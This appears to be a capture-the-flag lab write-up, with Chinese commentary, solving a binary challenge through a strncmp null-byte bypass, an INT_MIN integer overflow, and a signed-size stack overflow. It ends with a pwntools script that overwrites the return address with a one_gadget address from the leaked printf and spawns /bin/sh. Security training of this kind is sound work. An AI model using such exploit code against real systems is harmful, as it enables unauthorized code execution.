Lab9

```
int game(){
    char ans[16] = {0};
    int len = 0;
    int magic = 0;

    puts("Try my secret :");
    read(0, ans, 16);
    if(strncmp(ans, secret, strlen(ans))){
        puts("You don't know me :(");
        return 1;
    }
```

首先，要先突破game的第一關，輸入一個string並去和secret這個字串比較，繞過if判斷式。由於secret這個字串我們目前沒辦法得知，所以需要利用strncmp的特性。

Returns an integral value indicating the relationship between the strings:

return value	indicates
<0	the first character that does not match has a lower value in *str1* than in *str2*
0	the contents of both strings are equal
>0	the first character that does not match has a greater value in *str1* than in *str2*

由於當兩字串中第一個不相同的字元，在str1裡的比str2裡的小，會回傳<0的值。可以利用這個特性，將輸入null字元（ascii 0）當作ans，其會和secret字串長的不同，且null值會比較secret的第一個字小，於是回傳<0的value。由於此值<0，所以會進不去if中，成功繞過。

```
puts("Give me a magic number :");
scanf("%d", &magic);
magic = abs(magic);
if(2019 + magic < 2019 && 2019 - magic < 2019 && magic < 2019){
    puts("Passed!");
}else{
    puts("You lose~");
    return 2;
}
```

接著來到第二關。要輸入一個有詭異特性的數值，這裡要輸入-2147483648，也就是int負的邊界值。其加上2019仍小於2019，而2019減掉他，因為int overflow的問題，會變成負數，所以就成功pass了。

```
j@j-VirtualBox:~/Desktop/game$ ./game
Try my secret :
^@
Give me a magic number :
-2147483648
Passed!
You win.
Here is your reward : 0x7f51d3472e80
Leave your name :
```

接著程式會給我們printf的位置，我們可以留下姓名。

```
puts("Winner can leave message at here :");
puts("size :");
scanf("%d", &size);

if(size + 32 < 1024){
    puts("Your message :");
    read(0, message+32, size);
    puts("Good bye~");
}else{
    puts("No! Message too long.");
}
```

```
Here is your reward : 0x7f51d3472e80
Leave your name :
j
Winner can leave message at here :
size :
```

程式會叫我們輸入size。看原始碼可以發現我們要輸入2147483647，來進入到if之中。接著就可以試著去buffer overflow。

```
Winner can leave message at here :
size :
2147483647
Your message :
```

用Ida看可以發現message的位置為rbp-0x3F0，為了要寫到ret，所以還要在加0x8，所以我們要padding 0x3F8 個任意字元，然後後面接上用one_gadget以及printf的位置算出來的execve(/bin/sh)的位置，就可以執行/bin/sh了。

```
r.sendline("-2147483648")
r.recvuntil(': ')
p_addr = r.recvline(keepends=False)
#print(p_addr)
r.recvuntil(':\n')
r.sendline("jeremy")
r.recvuntil('size :')
r.sendline("2147483647")
r.recvuntil(':\n')
addr = int(p_addr,16)-int(0x64e80)+int(0x10a38c)
#print(addr)
ans = p64(addr)
pattc = 1016*'A' +  ans
r.sendline(pattc)
r.interactive()
```

```
$ cd game
$ ls
flag
game
run.sh
$ cat flag
flag{1nteger_0verf10oOOOOoo0OOOow}
$
```